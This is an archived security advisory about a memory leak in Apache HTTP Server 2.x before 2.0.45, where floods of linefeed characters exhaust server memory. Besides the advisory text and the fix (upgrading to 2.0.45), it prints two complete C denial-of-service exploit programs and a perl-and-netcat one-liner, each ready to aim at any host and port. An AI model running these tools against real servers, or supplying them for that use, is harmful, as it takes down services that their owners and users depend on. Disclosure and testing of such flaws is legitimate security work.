9th Apr 2003 [SBWID-6122]
COMMAND
Apache HTTP Server Denial of Service
SYSTEMS AFFECTED
all 2.x versions prior to 2.0.45 (Unix & Windows)
PROBLEM
in iDEFENSE Security Advisory 04.08.03:
Remote exploitation of a memory leak in the Apache HTTP Server causes
the daemon to over utilize system resources on an affected system. The
problem is HTTP Server's handling of large chunks of consecutive
linefeed characters. The web server allocates an eighty-byte buffer for
each linefeed character without specifying an upper limit for
allocation. Consequently, an attacker can remotely exhaust system
resources by generating many requests containing these characters.
While this type of attack is most effective in an intranet setting,
remote exploitation over the Internet, while bandwidth intensive, is
feasible. Remote exploitation could consume system resources on a
targeted system and, in turn, render the Apache HTTP daemon
unavailable. iDEFENSE has performed research using proof of concept
exploit code to demonstrate the impact of this vulnerability. A
successful exploitation scenario requires between two and seven
megabytes of traffic exchange.
Update 11 april
===============
Serban Murariu [smurariu2(at)yahoo(dot)com precised:
If the server uses squid as an accelerator, the damage is not so big:
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM
704 squid 25 0 20720 13M 5920 R 98.0 22.3
and also, after a while, squid's figures return to normal even though
the flood continues... perhaps some protection in squid? this was a
test on squid-2.4.STABLE7-4 and httpd-2.0.40-11
Update 10 april: Exploit
========================
Matthew Murphy [mattmurphy(at)kc(dot)rr(dot)com] posted following:
>Consequently, an attacker can remotely exhaust system resources by
>generating many requests containing these characters.
This is partially correct. Rather than "many requests containing these
characters", the more effective strategy is "many instances of this
character (these characters)".
> Remote exploitation could consume system resources on a targeted system
> and, in turn, render the Apache HTTP daemon unavailable.
Isn't that the truth? In a few minutes, my Apache used some 390 MB of
memory when tested. The statement that only 80 bytes is lost per
newline understates the issue in my opinion. If we multiply:
2 newlines: 160 bytes
4 newlines: 320 bytes
8 newlines: 640 bytes
16 newlines: 1280 bytes
32 newlines: 2560 bytes
64 newlines: 5120 bytes
128 newlines: 10240 bytes
256 newlines: 20480 bytes
512 newlines: 40960 bytes
1024 newlines: 81920 bytes
Worse, Apache doesn't require any form to the request what-so-ever, so
1 KB of 0x0A's is just as good as a well-formed request. Let's
continue:
2 KB: 163840 bytes
4 KB: 655360 bytes
8 KB: 1310720 bytes
16 KB: 2621440 bytes
That's nearly 2 MB leaked in response to 16 KB. And, this is just
baseline figures of the actual leak itself, and doesn't take into
account various other factors, including:
* Other use of memory by Apache
* The resources associated with the web session
>iDEFENSE has performed research using proof of concept exploit code to
>demonstrate the impact of this vulnerability.
I'm not seeing any example code, so let's try the attached.
"apache-massacre=2Ec" allows the user to target a host/port of choice.
It uses a single-connection method, and is stopped with a simple CTRL+C
interrupt.
It sends the data (which is patterns of "\r\n") in "chunks". It sends a
pre-specified number of character sequences, and then checks the
interrupt flag for a request to terminate. Deployed on a high-bandwidth
connection (or a low-bandwidth connection with a lot of time to spare),
Apache is disabled within seconds.
The attached code compiles cleanly on Win32, and *should* compile on
any system that is POSIX-compliant, and offers a BSD socket interface.
>A successful exploitation scenario requires between two and
>seven megabytes of traffic exchange.
I hate to say, but I wonder where these figures come from. Obviously, a
machine with a 16 MB RAM and a 512 MB hard drive is going to run out of
resources incredibly faster than a machine with 512 MB RAM and a 100 GB
hard drive is. Also, "between two and seven megabytes of traffic
exchange" is very possible with a DDoSnet of some kind. With 10
connections at 1 mbps each (for a combined speed of 10 mbps),
approximately 1,750,000 bytes (1.25 MB) is exchanged each second. This
same speed is reached by the full upload rates of many LAN-based
providers (schools, for instance). Further, a single cable modem has a
link rate of 10 mbps, held down only by ISP capping.
In the situation of such a network (or, a single uncapped cable modem),
the entire traffic exchange rate is hit within one second.
Code
====
/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By Matthew Murphy
*
* DISCLAIMER: This exploit tool is provided only to test networks for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*
* Apache 2.x (2.0.44 and prior) has a memory leak in its request handling
* that causes it to handle newlines in an akward manner -- it allocates
* 80 bytes for each. This quickly turns into a nightmare for server stats.
* On Windows XP, I was able to cause Apache to consume 390 MB in a matter
* of a few minutes.
*
* The idea is to fire off millions of newlines, depriving Apache of valuable
* memory, causing a huge performance degredation. The worst part about this
* flaw is that leaked memory isn't recovered until the Apache child process
* terminates.
*
* The high consumption drops some when the session ends, but there is still
* a substantial increase in memory use that doesn't end until Apache exits.
* I got memory use up to a peak of about 69,000 KB, and it dropped down to
* about 37,000 KB. The attacking code was the only traffic on the server --
* the idle memory use of the server is about 7,132 KB. Although the leak is
* cut in half when the connection terminates, the leak is still a mighty
* 29,878 KB (21.3 MB). All this occurred in a matter of 15 seconds on my
* 2.51 GHz P4.
*
* As with most Apache exposures, the impacts vary between ports of the server:
*
* Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
* by this, as Apache's child process doesn't terminate normally unless the
* parent process stops. This means that leaks (and any performance loss) hang
* around until Apache is restarted.
*
* Unix/mpm_prefork: This MPM offers the most protection against successful
* exploitation, as its processes exit at the end of the request.
*
* Unix/other MPMs: These other MPMs utilize multiple Apache processes for
* multiple Apache requests. Depending on the MPM in use and the traffic rates
* of the server, this may be used to the advantage of a potential attacker.
* If multiple different Apache processes are utilized, an attacker can spread
* the substantial leak between processes to dodge resource limits imposed on
* httpd's UID (usually nobody, www, or apache)
*
* Credit: iDEFENSE reported this issue to several security lists on April 8,
* 2003 following the Apache release announcement. Apache fixed the flaw about
* a month after the initial disclosure of this vulnerability. iDEFENSE credits
* the discovery of this vulnerability to an anonymous researcher.
*
* Happy Hunting!
*/
#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#include <windows.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>
int sig_fired = 0;
#ifndef _WIN32
void sig_handler(int sig) {
#else
BOOL WINAPI sig_handler(DWORD dwCtrlType) {
#endif
sig_fired = 1;
#ifndef _WIN32
return;
#else
return TRUE;
#endif
}
int main(int argc, char *argv[]) {
SOCKET s;
struct sockaddr_in sin;
char buffer[1025];
struct hostent *he;
unsigned short iPort = 80;
int newlines = 100;
char *p;
char *p2;
int i;
#ifdef _WIN32
WSADATA wsa_prov;
#endif
printf("Apache Massacre v1.0\r\n");
printf("Exploit by Matthew Murphy\r\n");
printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
#ifdef _WIN32
if (WSAStartup(0x0101, &wsa_prov)) {
perror("WSAStartup");
exit(1);
}
#endif
printf("Please enter the web server's host/IP: ");
fgets(&buffer[0], 1024, stdin);
he = gethostbyname(&buffer[0]);
if (!he) {
perror("gethostbyname");
exit(1);
}
sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
printf("Please enter the web server's port: ");
fgets(&buffer[0], 1024, stdin);
iPort = (unsigned short)atoi(&buffer[0]);
#ifndef _WIN32
#ifdef _SOLARIS
sigset(SIGINT, &sig_handler);
#else
signal(SIGINT, &sig_handler);
#endif
#else
SetConsoleCtrlHandler(&sig_handler, TRUE);
#endif
printf("How many newlines should be in each request [100]: ");
fgets(&buffer[0], 1024, stdin);
if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
newlines = atoi(&buffer[0]);
}
p = malloc(newlines*2);
p2 = p;
for (i = 0; i < newlines; i++) {
*p2 = 0x0D;
p2++;
*p2 = 0x0A;
p2++;
}
newlines += newlines;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(iPort);
if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
perror("connect");
exit(1);
}
while (1) {
if (!send(s, (char *)p, newlines, 0) == newlines) {
perror("send");
exit(1);
}
if (sig_fired) {
printf("Terminating on SIGINT");
free(p);
#ifndef _WIN32
close(s);
#else
closesocket(s);
WSACleanup();
#endif
exit(0);
}
}
}
Update 11 April: Exploit for Linux
==================================
Daniel Nystr�m from TelHack team [http://www.telhack.tk] proposed a
working from scratch exploit, instead of previous one:
/* Version 2 */
/******** th-apachedos.c ********************************************************
* *
* Remote Apache DoS exploit *
* ------------------------- *
* Written as a poc for the: *
* *
* iDEFENSE Security Advisory 04.08.03: *
* http://www.idefense.com/advisory/04.08.03.txt *
* Denial of Service in Apache HTTP Server 2.x *
* April 8, 2003 *
* *
* This program sends 8000000 \n's to exploit the Apache memory leak. *
* Works from scratch under Linux, as opposed to apache-massacre.c . *
* *
* *
* Daniel Nystr�m <[email protected]> *
* *
* - www.telhack.tk - *
* *
******************************************************** th-apachedos.c ********/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
int sockfd;
int count;
char buffer[8000000];
struct sockaddr_in target;
struct hostent *he;
if (argc != 3)
{
fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit.");
fprintf(stderr, "\n----------------------------------------------");
fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]);
exit(-1);
}
printf("\nTH-Apache DoS\n");
printf("-------------\n");
printf("-> Starting...\n");
printf("->\n");
// memset(buffer, '\n', sizeof(buffer)); /* testing */
for (count = 0; count < 8000000;)
{
buffer[count] = '\r'; /* 0x0D */
count++;
buffer[count] = '\n'; /* 0x0A */
count++;
}
if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname() failed ");
exit(-1);
}
memset(&target, 0, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(atoi(argv[2]));
target.sin_addr = *((struct in_addr *)he->h_addr);
printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2]));
printf("->\n");
if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket() failed ");
exit(-1);
}
if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0)
{
perror("connect() failed ");
exit(-1);
}
printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr),
atoi(argv[2]));
printf("->\n");
if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer))
{
perror("send() failed ");
exit(-1);
close(sockfd);
}
close(sockfd);
printf("-> Finished smoothly, check hosts apache...\n\n");
}
/* EOF - th-apachedos.c
* http://www.telhack.tk
*/
Update 14 april
===============
Paul Johnston [paul(at)westpoint(dot)ltd(dot)uk] added:
The exploit is trivial with perl and netcat:
perl -e 'print "\r\n" x 4000000' | nc <target> 80
SOLUTION
Apache HTTP Server 2.0.45, which fixes this vulnerability, can be
downloaded at http://httpd.apache.org/download.cgi . This release
introduces a limit of 100 blank lines accepted before an HTTP
connection is discarded.